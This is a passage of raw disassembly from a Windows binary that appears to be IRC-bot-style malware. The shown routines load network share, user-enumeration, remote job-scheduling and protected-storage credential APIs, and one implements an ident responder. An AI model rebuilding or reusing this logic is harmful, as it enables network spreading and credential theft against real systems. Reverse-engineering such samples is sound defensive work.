sub_4038BA+E3j mov eax, [ebp+var_410] push dword ptr [eax] call sub_416B40 ; strlen pop ecx inc eax cmp eax, [ebp+arg_C] jbe short loc_4039D3 push 2747h call dword_417234 ; WSASetLastError mov eax, 2747h jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_4039D3: ; CODE XREF: sub_4038BA+102j push 401h mov eax, [ebp+var_410] push dword ptr [eax] lea eax, [ebp+var_404] push eax call sub_407A56 add esp, 0Ch jmp loc_403ABA ; --------------------------------------------------------------------------- loc_4039F4: ; CODE XREF: sub_4038BA+C0j mov eax, [ebp+arg_18] and eax, 1 test eax, eax jz loc_403A92 mov eax, [ebp+var_40C] cmp dword ptr [eax+4], 7F000001h jz short loc_403A1D mov eax, [ebp+var_40C] cmp dword ptr [eax+4], 0 jnz short loc_403A92 loc_403A1D: ; CODE XREF: sub_4038BA+155j push 0 push 4 mov eax, [ebp+var_40C] add eax, 4 push eax call dword_417220 ; gethostbyaddr mov [ebp+var_410], eax cmp [ebp+var_410], 0 jnz short loc_403A4B call dword_417224 ; WSAGetLastError jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_403A4B: ; CODE XREF: sub_4038BA+184j mov eax, [ebp+var_410] push dword ptr [eax] call sub_416B40 ; strlen pop ecx inc eax cmp eax, [ebp+arg_C] jbe short loc_403A74 push 2747h call dword_417234 ; WSASetLastError mov eax, 2747h jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_403A74: ; CODE XREF: sub_4038BA+1A3j push 401h mov eax, [ebp+var_410] push dword ptr [eax] lea eax, [ebp+var_404] push eax call sub_407A56 add esp, 0Ch jmp short loc_403ABA ; --------------------------------------------------------------------------- loc_403A92: ; CODE XREF: sub_4038BA+142j ; sub_4038BA+161j ... lea eax, [ebp+var_404] push eax call sub_416B40 ; strlen pop ecx inc eax cmp eax, [ebp+arg_C] jbe short loc_403ABA push 2747h call dword_417234 ; WSASetLastError mov eax, 2747h jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_403ABA: ; CODE XREF: sub_4038BA+63j ; sub_4038BA+135j ... cmp [ebp+arg_10], 0 jz loc_403B99 push 8 pop eax test eax, eax jz short loc_403B2C push 0Ah lea eax, [ebp+var_430] push eax mov eax, [ebp+var_40C] mov ax, [eax+2] push eax call dword_417238 ; htons movzx eax, ax push eax call sub_416F7A ; _itoa add esp, 0Ch lea eax, [ebp+var_430] push eax call sub_416B40 ; strlen pop ecx inc eax cmp eax, [ebp+arg_14] jbe short loc_403B19 push 2747h call dword_417234 ; WSASetLastError mov eax, 2747h jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_403B19: ; CODE XREF: sub_4038BA+248j lea eax, [ebp+var_430] push eax push [ebp+arg_10] call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_403B99 ; --------------------------------------------------------------------------- loc_403B2C: ; CODE XREF: sub_4038BA+20Fj mov eax, [ebp+arg_18] and eax, 10h neg eax sbb eax, eax and eax, offset aUdp ; "udp" push eax mov eax, [ebp+var_40C] movzx eax, word ptr [eax+2] push eax call dword_417228 ; getservbyport mov [ebp+var_408], eax cmp [ebp+var_408], 0 jnz short loc_403B61 or eax, 0FFFFFFFFh jmp short locret_403BB9 ; --------------------------------------------------------------------------- loc_403B61: ; CODE XREF: sub_4038BA+2A0j mov eax, [ebp+var_408] push dword ptr [eax] call sub_416B40 ; strlen pop ecx inc eax cmp eax, [ebp+arg_14] jbe short loc_403B87 push 2747h call dword_417234 ; WSASetLastError mov eax, 2747h jmp short locret_403BB9 ; --------------------------------------------------------------------------- loc_403B87: ; CODE XREF: sub_4038BA+2B9j mov eax, [ebp+var_408] push dword ptr [eax] push [ebp+arg_10] call sub_416B3A ; _mbscpy pop ecx pop ecx loc_403B99: ; CODE XREF: sub_4038BA+204j ; sub_4038BA+270j cmp [ebp+arg_8], 0 jz short loc_403BB0 lea eax, [ebp+var_404] push eax push [ebp+arg_8] call sub_416B3A ; _mbscpy pop ecx pop ecx loc_403BB0: ; CODE XREF: sub_4038BA+2E3j xor eax, eax jmp short locret_403BB9 ; --------------------------------------------------------------------------- loc_403BB4: ; CODE XREF: sub_4038BA+B3j jmp loc_403A92 ; --------------------------------------------------------------------------- locret_403BB9: ; CODE XREF: sub_4038BA+2Ej ; sub_4038BA+5Aj ... leave retn 1Ch sub_4038BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403BBD proc near ; DATA XREF: sub_403BD3+1C6o arg_0 = dword ptr 8 push ebp mov ebp, esp cmp [ebp+arg_0], 0 jz short loc_403BCF push [ebp+arg_0] call sub_416B4C ; free pop ecx loc_403BCF: ; CODE XREF: sub_403BBD+7j pop ebp retn 4 sub_403BBD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403BD3 proc near ; CODE XREF: sub_4167F1:loc_4168BCp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h push offset aKernel32_dll ; "kernel32.dll" call dword_417054 ; LoadLibraryA mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_403C00 push offset aInitializecrit ; "InitializeCriticalSectionAndSpinCount" push [ebp+var_C] call dword_417058 ; GetProcAddress mov dword_41DE40, eax loc_403C00: ; CODE XREF: sub_403BD3+18j push offset aNetapi32_dll ; "netapi32.dll" call dword_417054 ; LoadLibraryA mov [ebp+var_14], eax cmp [ebp+var_14], 0 jz loc_403CC3 push offset aNetusegetinfo ; "NetUseGetInfo" push [ebp+var_14] call dword_417058 ; GetProcAddress mov dword_41DE48, eax push offset aNetuseadd ; "NetUseAdd" push [ebp+var_14] call dword_417058 ; GetProcAddress mov dword_41DE4C, eax push offset aNetusedel ; "NetUseDel" push [ebp+var_14] call dword_417058 ; GetProcAddress mov dword_41DE50, eax push offset aNetuserenum ; "NetUserEnum" push [ebp+var_14] call dword_417058 ; GetProcAddress mov dword_41DE54, eax push offset aNetshareenum ; "NetShareEnum" push [ebp+var_14] call dword_417058 ; GetProcAddress mov dword_41DE58, eax push offset aNetremotetod ; "NetRemoteTOD" push [ebp+var_14] call dword_417058 ; GetProcAddress mov dword_41DE5C, eax push offset aNetapibufferfr ; "NetApiBufferFree" push [ebp+var_14] call dword_417058 ; GetProcAddress mov dword_41DE60, eax push offset aNetschedulejob ; "NetScheduleJobAdd" push [ebp+var_14] call dword_417058 ; GetProcAddress mov dword_41DE64, eax push offset aNetaddalternat ; "NetAddAlternateComputerName" push [ebp+var_14] call dword_417058 ; GetProcAddress mov dword_41DE68, eax loc_403CC3: ; CODE XREF: sub_403BD3+3Fj push offset aMpr_dll ; "mpr.dll" call dword_417054 ; LoadLibraryA mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_403D23 push offset aWnetaddconnect ; "WNetAddConnection2A" push [ebp+var_8] call dword_417058 ; GetProcAddress mov dword_41DE6C, eax push offset aWnetaddconne_0 ; "WNetAddConnection2W" push [ebp+var_8] call dword_417058 ; GetProcAddress mov dword_41DE70, eax push offset aWnetcancelconn ; "WNetCancelConnection2A" push [ebp+var_8] call dword_417058 ; GetProcAddress mov dword_41DE74, eax push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push [ebp+var_8] call dword_417058 ; GetProcAddress mov dword_41DE78, eax loc_403D23: ; CODE XREF: sub_403BD3+102j push offset aWs2_32_dll ; "ws2_32.dll" call dword_417054 ; LoadLibraryA mov [ebp+var_4], eax push offset aGetaddrinfo ; "getaddrinfo" push [ebp+var_4] call dword_417058 ; GetProcAddress mov dword_41DE84, eax push offset aGetnameinfo ; "getnameinfo" push [ebp+var_4] call dword_417058 ; GetProcAddress mov dword_41DE88, eax push offset aFreeaddrinfo ; "freeaddrinfo" push [ebp+var_4] call dword_417058 ; GetProcAddress mov dword_41DE8C, eax cmp dword_41DE84, 0 jz short loc_403D85 cmp dword_41DE88, 0 jz short loc_403D85 cmp dword_41DE8C, 0 jnz short loc_403DA3 loc_403D85: ; CODE XREF: sub_403BD3+19Ej ; sub_403BD3+1A7j mov dword_41DE84, offset sub_403588 mov dword_41DE88, offset sub_4038BA mov dword_41DE8C, offset sub_403BBD loc_403DA3: ; CODE XREF: sub_403BD3+1B0j push offset aPstorec_dll ; "pstorec.dll" call dword_417054 ; LoadLibraryA mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz short loc_403DCA push offset aPstorecreatein ; "PStoreCreateInstance" push [ebp+var_10] call dword_417058 ; GetProcAddress mov dword_41DE80, eax loc_403DCA: ; CODE XREF: sub_403BD3+1E2j push offset aWininet_dll ; "wininet.dll" call dword_417054 ; LoadLibraryA mov [ebp+var_18], eax cmp [ebp+var_18], 0 jz short locret_403DF1 push offset aInternetgetcon ; "InternetGetConnectedStateExA" push [ebp+var_18] call dword_417058 ; GetProcAddress mov dword_41DE7C, eax locret_403DF1: ; CODE XREF: sub_403BD3+209j leave retn sub_403BD3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403DF3 proc near ; DATA XREF: sub_403FE5+89o var_1228 = dword ptr -1228h var_1224 = byte ptr -1224h var_1200 = byte ptr -1200h var_11DC = byte ptr -11DCh var_11B8 = dword ptr -11B8h var_11B4 = dword ptr -11B4h var_11B0 = dword ptr -11B0h var_11AC = byte ptr -11ACh var_11A6 = byte ptr -11A6h var_1000 = byte ptr -1000h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1228h call sub_416BC0 push 1ADh push [ebp+arg_0] lea eax, [ebp+var_11B0] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx push 1 lea eax, [ebp+var_11AC] push eax call sub_4046BC pop ecx pop ecx mov [ebp+var_11B4], eax cmp [ebp+var_11B4], 0 jnz short loc_403E52 push [ebp+var_11B0] call sub_409763 pop ecx xor eax, eax jmp locret_403FE1 ; --------------------------------------------------------------------------- loc_403E52: ; CODE XREF: sub_403DF3+4Aj lea eax, [ebp+var_11AC] push eax mov eax, [ebp+var_11B0] push dword ptr [eax] push offset dword_4189C4 lea eax, [ebp+var_11A6] push eax call sub_40D53F add esp, 10h loc_403E75: ; CODE XREF: sub_403DF3+BDj ; sub_403DF3+10Fj ... push 3E8h push [ebp+var_11B4] call sub_4048EF pop ecx pop ecx mov [ebp+var_11B8], eax mov eax, [ebp+var_11B0] cmp dword ptr [eax+4], 0 jnz short loc_403EA2 cmp [ebp+var_11B8], 0 jnz short loc_403EA7 loc_403EA2: ; CODE XREF: sub_403DF3+A4j jmp loc_403FC7 ; --------------------------------------------------------------------------- loc_403EA7: ; CODE XREF: sub_403DF3+ADj cmp [ebp+var_11B8], 0FFFFFFFFh jnz short loc_403EB2 jmp short loc_403E75 ; --------------------------------------------------------------------------- loc_403EB2: ; CODE XREF: sub_403DF3+BBj push 1000h lea eax, [ebp+var_1000] push eax push [ebp+var_11B8] call sub_4053DC add esp, 0Ch mov [ebp+var_1228], eax cmp [ebp+var_1228], 0 jz short loc_403EF6 cmp [ebp+var_1228], 0FFFFFFFFh jz short loc_403EF6 lea eax, [ebp+var_1000] push eax call sub_416B40 ; strlen pop ecx cmp eax, 10h jbe short loc_403F07 loc_403EF6: ; CODE XREF: sub_403DF3+E6j ; sub_403DF3+EFj push [ebp+var_11B8] call sub_40538D pop ecx jmp loc_403E75 ; --------------------------------------------------------------------------- loc_403F07: ; CODE XREF: sub_403DF3+101j movsx eax, byte_41EEC8 test eax, eax jz short loc_403F27 push offset byte_41EEC8 lea eax, [ebp+var_1224] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_403F57 ; --------------------------------------------------------------------------- loc_403F27: ; CODE XREF: sub_403DF3+11Dj lea eax, [ebp+var_1200] push eax lea eax, [ebp+var_1224] push eax lea eax, [ebp+var_11DC] push eax call sub_40668F add esp, 0Ch lea eax, [ebp+var_1224] push eax push offset byte_41EEC8 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_403F57: ; CODE XREF: sub_403DF3+132j push offset aUseridUnix ; " : USERID : UNIX : " lea eax, [ebp+var_1000] push eax call sub_416B70 ; _mbscat pop ecx pop ecx lea eax, [ebp+var_1224] push eax lea eax, [ebp+var_1000] push eax call sub_416B70 ; _mbscat pop ecx pop ecx push offset asc_418214 ; "\r\n" lea eax, [ebp+var_1000] push eax call sub_416B70 ; _mbscat pop ecx pop ecx lea eax, [ebp+var_1000] push eax call sub_416B40 ; strlen pop ecx inc eax push eax lea eax, [ebp+var_1000] push eax push [ebp+var_11B8] call sub_4053BF add esp, 0Ch push [ebp+var_11B8] call sub_40538D pop ecx jmp loc_403E75 ; --------------------------------------------------------------------------- loc_403FC7: ; CODE XREF: sub_403DF3:loc_403EA2j push [ebp+var_11B4] call sub_404CBB pop ecx push [ebp+var_11B0] call sub_409763 pop ecx xor eax, eax locret_403FE1: ; CODE XREF: sub_403DF3+5Aj leave retn 4 sub_403DF3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403FE5 proc near ; CODE XREF: sub_40A9CF+EECp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_4], 0 jz short loc_403FFD push [ebp+arg_4] call sub_40422A pop ecx test eax, eax jnz short loc_404004 loc_403FFD: ; CODE XREF: sub_403FE5+9j mov [ebp+arg_4], offset dword_418A18 loc_404004: ; CODE XREF: sub_403FE5+16j push 1ADh call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40401A jmp short locret_40407B ; --------------------------------------------------------------------------- loc_40401A: ; CODE XREF: sub_403FE5+31j push 6 push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_407A56 add esp, 0Ch push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 0Ah push eax call sub_405F67 pop ecx pop ecx cmp [ebp+arg_0], 0 jz short loc_404059 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] test eax, eax jz short loc_404059 and [ebp+var_8], 0 jmp short loc_404060 ; --------------------------------------------------------------------------- loc_404059: ; CODE XREF: sub_403FE5+5Ej ; sub_403FE5+6Cj mov [ebp+var_8], 1 loc_404060: ; CODE XREF: sub_403FE5+72j push [ebp+arg_4] push offset dword_4189F8 push [ebp+var_8] push [ebp+var_4] push offset sub_403DF3 call sub_4095A4 add esp, 14h locret_40407B: ; CODE XREF: sub_403FE5+33j leave retn sub_403FE5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40407D proc near ; CODE XREF: sub_4055E5+772p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 loc_404085: ; CODE XREF: sub_40407D+2Cj cmp [ebp+arg_4], 1 jbe short loc_4040AB mov eax, [ebp+arg_0] movzx eax, word ptr [eax] mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx mov eax, [ebp+arg_0] inc eax inc eax mov [ebp+arg_0], eax mov eax, [ebp+arg_4] dec eax dec eax mov [ebp+arg_4], eax jmp short loc_404085 ; --------------------------------------------------------------------------- loc_4040AB: ; CODE XREF: sub_40407D+Cj cmp [ebp+arg_4], 0 jz short loc_4040BF mov eax, [ebp+arg_0] movzx eax, byte ptr [eax] mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx loc_4040BF: ; CODE XREF: sub_40407D+32j mov eax, [ebp+var_4] shr eax, 10h mov ecx, [ebp+var_4] and ecx, 0FFFFh add eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] shr eax, 10h mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx mov eax, [ebp+var_4] not eax leave retn sub_40407D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4040E8 proc near ; CODE XREF: sub_4055E5+752p ; sub_40A9CF+1A2Fp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] mov [ebp+var_4], eax cmp [ebp+var_4], 2 jz short loc_404146 cmp [ebp+var_4], 3 jz short loc_404124 cmp [ebp+var_4], 4 jz short loc_404106 jmp short loc_40416A ; --------------------------------------------------------------------------- loc_404106: ; CODE XREF: sub_4040E8+1Aj mov eax, [ebp+arg_0] and al, 0 mov [ebp+arg_0], eax push 0FEh push 1 call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_0] or ecx, eax mov [ebp+arg_0], ecx loc_404124: ; CODE XREF: sub_4040E8+14j mov eax, [ebp+arg_0] and ah, 0 mov [ebp+arg_0], eax push 0FEh push 1 call sub_4103F5 pop ecx pop ecx shl eax, 8 mov ecx, [ebp+arg_0] or ecx, eax mov [ebp+arg_0], ecx loc_404146: ; CODE XREF: sub_4040E8+Ej mov eax, [ebp+arg_0] and eax, 0FF00FFFFh mov [ebp+arg_0], eax push 0FEh push 1 call sub_4103F5 pop ecx pop ecx shl eax, 10h mov ecx, [ebp+arg_0] or ecx, eax mov [ebp+arg_0], ecx loc_40416A: ; CODE XREF: sub_4040E8+1Cj mov eax, [ebp+arg_0] and eax, 0FFFFFFh mov [ebp+arg_0], eax push 0FEh push 1 call sub_4103F5 pop ecx pop ecx shl eax, 18h mov ecx, [ebp+arg_0] or ecx, eax mov [ebp+arg_0], ecx mov eax, [ebp+arg_0] leave retn sub_4040E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404193 proc near ; CODE XREF: sub_404279+Ap ; sub_40435B+17p arg_0 = dword ptr 8 push ebp mov ebp, esp push 0Ah push [ebp+arg_0] push 0FFFFh push 401h call sub_4103F5 pop ecx pop ecx push eax call sub_416F7A ; _itoa add esp, 0Ch pop ebp retn sub_404193 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4041B7 proc near ; CODE XREF: sub_40D871+5B3p arg_0 = dword ptr 8 push ebp mov ebp, esp push 4 push offset dword_418A48 push [ebp+arg_0] call sub_416BF0 ; strncmp add esp, 0Ch test eax, eax jnz short loc_4041D5 push 1 pop eax jmp short loc_404228 ; --------------------------------------------------------------------------- loc_4041D5: ; CODE XREF: sub_4041B7+17j push 4 push offset dword_418A40 push [ebp+arg_0] call sub_416BF0 ; strncmp add esp, 0Ch test eax, eax jnz short loc_4041F0 push 1 pop eax jmp short loc_404228 ; --------------------------------------------------------------------------- loc_4041F0: ; CODE XREF: sub_4041B7+32j push 8 push offset dword_418A34 push [ebp+arg_0] call sub_416BF0 ; strncmp add esp, 0Ch test eax, eax jnz short loc_40420B push 1 pop eax jmp short loc_404228 ; --------------------------------------------------------------------------- loc_40420B: ; CODE XREF: sub_4041B7+4Dj push 3 push offset dword_418A30 push [ebp+arg_0] call sub_416BF0 ; strncmp add esp, 0Ch test eax, eax jnz short loc_404226 push 1 pop eax jmp short loc_404228 ; --------------------------------------------------------------------------- loc_404226: ; CODE XREF: sub_4041B7+68j xor eax, eax loc_404228: ; CODE XREF: sub_4041B7+1Cj ; sub_4041B7+37j ... pop ebp retn sub_4041B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40422A proc near ; CODE XREF: sub_402A32+206p ; sub_403FE5+Ep ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 jmp short loc_40423C ; --------------------------------------------------------------------------- loc_404235: ; CODE XREF: sub_40422A:loc_404273j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40423C: ; CODE XREF: sub_40422A+9j cmp [ebp+var_4], 6 jnz short loc_404244 jmp short loc_404275 ; --------------------------------------------------------------------------- loc_404244: ; CODE XREF: sub_40422A+16j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_404273 push [ebp+arg_0] call sub_416B9C ; atoi pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_40426C cmp [ebp+var_8], 0FFFFh jbe short loc_40426E loc_40426C: ; CODE XREF: sub_40422A+37j jmp short loc_404275 ; --------------------------------------------------------------------------- loc_40426E: ; CODE XREF: sub_40422A+40j push 1 pop eax jmp short locret_404277 ; --------------------------------------------------------------------------- loc_404273: ; CODE XREF: sub_40422A+25j jmp short loc_404235 ; --------------------------------------------------------------------------- loc_404275: ; CODE XREF: sub_40422A+18j ; sub_40422A:loc_40426Cj xor eax, eax locret_404277: ; CODE XREF: sub_40422A+47j leave retn sub_40422A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404279 proc near ; CODE XREF: sub_4042FB+Cp ; sub_408B30+197p ... var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 push ebp mov ebp, esp sub esp, 18h lea eax, [ebp+var_8] push eax call sub_404193 pop ecx push 1 lea eax, [ebp+var_8] push eax call sub_4046BC pop ecx pop ecx mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_4042A4 push 1 pop eax jmp short locret_4042F9 ; --------------------------------------------------------------------------- loc_4042A4: ; CODE XREF: sub_404279+24j push 0BB8h push 0 lea eax, [ebp+var_8] push eax push offset dword_41EF48 call sub_4050EA add esp, 10h mov [ebp+var_C], eax push [ebp+var_10] call sub_404CBB pop ecx cmp [ebp+var_C], 0 jz short loc_4042DA cmp [ebp+var_C], 0FFFFFFFFh jz short loc_4042DA and [ebp+var_18], 0 jmp short loc_4042E1 ; --------------------------------------------------------------------------- loc_4042DA: ; CODE XREF: sub_404279+53j ; sub_404279+59j mov [ebp+var_18], 1 loc_4042E1: ; CODE XREF: sub_404279+5Fj mov eax, [ebp+var_18] mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_4042F6 push [ebp+var_C] call sub_4053B1 pop ecx loc_4042F6: ; CODE XREF: sub_404279+72j mov eax, [ebp+var_14] locret_4042F9: ; CODE XREF: sub_404279+29j leave retn sub_404279 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4042FB proc near ; CODE XREF: sub_411D68+4p ; sub_41349C+1FAp ... push ebp mov ebp, esp cmp dword_41E294, 0 jnz short loc_404327 call sub_404279 push eax push offset dword_41E298 call sub_409C9D pop ecx pop ecx push 1 push offset dword_41E294 call sub_409C9D pop ecx pop ecx loc_404327: ; CODE XREF: sub_4042FB+Aj mov eax, dword_41E298 pop ebp retn sub_4042FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40432E proc near ; CODE XREF: sub_40435B+6p ; sub_4046BC+5Dp var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push 0 push 1 push 17h call dword_417218 ; socket mov [ebp+var_4], eax cmp [ebp+var_4], 0FFFFFFFFh jz short loc_404350 push [ebp+var_4] call sub_4053B1 pop ecx loc_404350: ; CODE XREF: sub_40432E+17j xor eax, eax cmp [ebp+var_4], 0FFFFFFFFh setnz al leave retn sub_40432E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40435B proc near ; CODE XREF: sub_4083AD:loc_4085D6p var_18 = dword ptr -18h var_14 = byte ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h call sub_40432E test eax, eax jnz short loc_40436E xor eax, eax jmp short locret_4043E7 ; --------------------------------------------------------------------------- loc_40436E: ; CODE XREF: sub_40435B+Dj lea eax, [ebp+var_14] push eax call sub_404193 pop ecx push 1 lea eax, [ebp+var_14] push eax call sub_4046BC pop ecx pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_404392 xor eax, eax jmp short locret_4043E7 ; --------------------------------------------------------------------------- loc_404392: ; CODE XREF: sub_40435B+31j push 0BB8h push 2 lea eax, [ebp+var_14] push eax push offset dword_418A5C call sub_4050EA add esp, 10h mov [ebp+var_8], eax push [ebp+var_C] call sub_404CBB pop ecx cmp [ebp+var_8], 0 jz short loc_4043CB cmp [ebp+var_8], 0FFFFFFFFh jz short loc_4043CB mov [ebp+var_18], 1 jmp short loc_4043CF ; --------------------------------------------------------------------------- loc_4043CB: ; CODE XREF: sub_40435B+5Fj ; sub_40435B+65j and [ebp+var_18], 0 loc_4043CF: ; CODE XREF: sub_40435B+6Ej mov eax, [ebp+var_18] mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_4043E4 push [ebp+var_8] call sub_4053B1 pop ecx loc_4043E4: ; CODE XREF: sub_40435B+7Ej mov eax, [ebp+var_4] locret_4043E7: ; CODE XREF: sub_40435B+11j ; sub_40435B+35j leave retn sub_40435B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4043E9 proc near ; CODE XREF: sub_408B30:loc_408C9Fp ; sub_40CA29+231p ... var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 20h push offset dword_418A1C lea eax, [ebp+var_1C] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_1C] push eax call sub_4105FB pop ecx push 7D0h push 2 push offset a80 ; "80" lea eax, [ebp+var_1C] push eax call sub_4050EA add esp, 10h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_404439 cmp [ebp+var_8], 0FFFFFFFFh jz short loc_404439 mov [ebp+var_20], 1 jmp short loc_40443D ; --------------------------------------------------------------------------- loc_404439: ; CODE XREF: sub_4043E9+3Fj ; sub_4043E9+45j and [ebp+var_20], 0 loc_40443D: ; CODE XREF: sub_4043E9+4Ej mov eax, [ebp+var_20] mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_404452 push [ebp+var_8] call sub_4053B1 pop ecx loc_404452: ; CODE XREF: sub_4043E9+5Ej mov eax, [ebp+var_4] leave retn sub_4043E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404457 proc near ; CODE XREF: sub_404FE7+AFp ; sub_4050EA+EDp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx xor eax, eax cmp [ebp+arg_4], 0 setz al mov [ebp+var_4], eax lea eax, [ebp+var_4] push eax push 8004667Eh push [ebp+arg_0] call dword_417214 ; ioctlsocket leave retn sub_404457 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40447B proc near ; CODE XREF: sub_40732D+22Ep ; sub_40732D+296p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx lea eax, [ebp+var_4] push eax push 4004667Fh push [ebp+arg_0] call dword_417214 ; ioctlsocket xor eax, eax cmp [ebp+var_4], 0 setnz al leave retn sub_40447B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40449C proc near ; CODE XREF: sub_40D871+5A1p ; sub_411DC5+65p var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 84h mov [ebp+var_84], 80h lea eax, [ebp+var_84] push eax lea eax, [ebp+var_80] push eax push [ebp+arg_0] call dword_417240 ; getsockname cmp eax, 0FFFFFFFFh jnz short loc_4044CC xor eax, eax jmp short locret_4044F5 ; --------------------------------------------------------------------------- loc_4044CC: ; CODE XREF: sub_40449C+2Aj push 2 push 0 push 0 push 100h push [ebp+arg_4] push [ebp+var_84] lea eax, [ebp+var_80] push eax call dword_41DE88 ; getnameinfo test eax, eax jz short loc_4044F2 xor eax, eax jmp short locret_4044F5 ; --------------------------------------------------------------------------- loc_4044F2: ; CODE XREF: sub_40449C+50j push 1 pop eax locret_4044F5: ; CODE XREF: sub_40449C+2Ej ; sub_40449C+54j leave retn sub_40449C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4044F7 proc near ; CODE XREF: sub_40732D+DDp ; sub_4129CA+29p ... var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 84h mov [ebp+var_84], 80h lea eax, [ebp+var_84] push eax lea eax, [ebp+var_80] push eax push [ebp+arg_0] call dword_417210 ; getpeername cmp eax, 0FFFFFFFFh jnz short loc_404527 xor eax, eax jmp short locret_404550 ; --------------------------------------------------------------------------- loc_404527: ; CODE XREF: sub_4044F7+2Aj push 2 push 0 push 0 push 100h push [ebp+arg_4] push [ebp+var_84] lea eax, [ebp+var_80] push eax call dword_41DE88 ; getnameinfo test eax, eax jz short loc_40454D xor eax, eax jmp short locret_404550 ; --------------------------------------------------------------------------- loc_40454D: ; CODE XREF: sub_4044F7+50j push 1 pop eax locret_404550: ; CODE XREF: sub_4044F7+2Ej ; sub_4044F7+54j leave retn sub_4044F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404552 proc near ; CODE XREF: sub_41331E+A6p ; sub_415F69+256p var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 88h mov [ebp+var_88], 80h lea eax, [ebp+var_88] push eax lea eax, [ebp+var_80] push eax push [ebp+arg_0] call dword_417240 ; getsockname cmp eax, 0FFFFFFFFh jnz short loc_404582 xor eax, eax jmp short locret_4045B0 ; --------------------------------------------------------------------------- loc_404582: ; CODE XREF: sub_404552+2Aj lea eax, [ebp+var_80] mov [ebp+var_84], eax push 0Ah push [ebp+arg_4] mov eax, [ebp+var_84] mov 